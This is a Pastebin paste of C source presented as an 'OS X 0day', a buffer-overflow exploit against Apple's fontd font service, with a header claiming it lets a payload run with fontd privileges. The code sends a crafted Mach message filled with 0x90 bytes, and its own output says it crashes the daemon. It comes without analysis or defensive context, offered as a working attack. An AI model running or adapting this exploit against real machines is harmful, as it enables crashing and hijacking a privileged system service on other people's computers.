Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- OS X 0day - works on latest verz
- BO exploitation @ fontd, allows payload to run code with fontd privileges.
- #include <stdio.h>
- #include <stdlib.h>
- #include <mach/mach.h>
- #include <servers/bootstrap.h>
- #define SERVICE_NAME "com.apple.FontObjectsServer"
- #define DEFAULT_MSG_ID 46
- #define EXIT_ON_MACH_ERROR(msg, retval, success_retval) if (kr != success_retval) { mach_error(msg ":" , kr); exit((retval)); }
- typedef struct {
- mach_msg_header_t header;
- mach_msg_size_t descriptor_count;
- mach_msg_ool_descriptor64_t desc;
- } msg_format_send_t;
- typedef struct {
- u_int32_t int1;
- u_int32_t int2;
- u_int32_t size_data;
- char data[512];
- } hi_msg;
- int main(int argc, char **argv) {
- kern_return_t kr;
- msg_format_send_t send_msg;
- mach_msg_header_t *send_hdr;
- mach_port_t server_port;
- vm_address_t hi_addr = 0;
- hi_msg *hello;
- kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &server_port);
- EXIT_ON_MACH_ERROR("bootstrap_look_up", kr, BOOTSTRAP_SUCCESS);
- vm_allocate(mach_task_self(), &hi_addr, sizeof(hi_msg), VM_FLAGS_ANYWHERE);
- hello = (hi_msg *)hi_addr;
- send_hdr = &(send_msg.header);
- send_hdr->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND,0) | MACH_MSGH_BITS_COMPLEX;
- send_hdr->msgh_size = sizeof(send_msg);
- send_hdr->msgh_remote_port = server_port;
- send_hdr->msgh_local_port = MACH_PORT_NULL;
- send_hdr->msgh_id = DEFAULT_MSG_ID;
- send_msg.descriptor_count = 1;
- send_msg.desc.address = (uint64_t)hello;
- send_msg.desc.size = sizeof(hi_msg);
- send_msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
- printf("Sending... fontd will crash now.\n");
- hello->int1 = __builtin_bswap32(0x16);
- hello->int2 = __builtin_bswap32(0x01);
- hello->size_data = __builtin_bswap32(sizeof(hello->data));
- memset(hello->data, 0x90, sizeof(hello->data));
- // send request
- kr = mach_msg(send_hdr, // message buffer
- MACH_SEND_MSG, // option indicating send
- send_hdr->msgh_size, // size of header + body
- 0, // receive limit
- MACH_PORT_NULL, // receive name
- MACH_MSG_TIMEOUT_NONE, // no timeout, wait forever
- MACH_PORT_NULL); // no notification port
- EXIT_ON_MACH_ERROR("mach_msg(send)", kr, MACH_MSG_SUCCESS);
- printf("Exiting\n");
- exit(0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement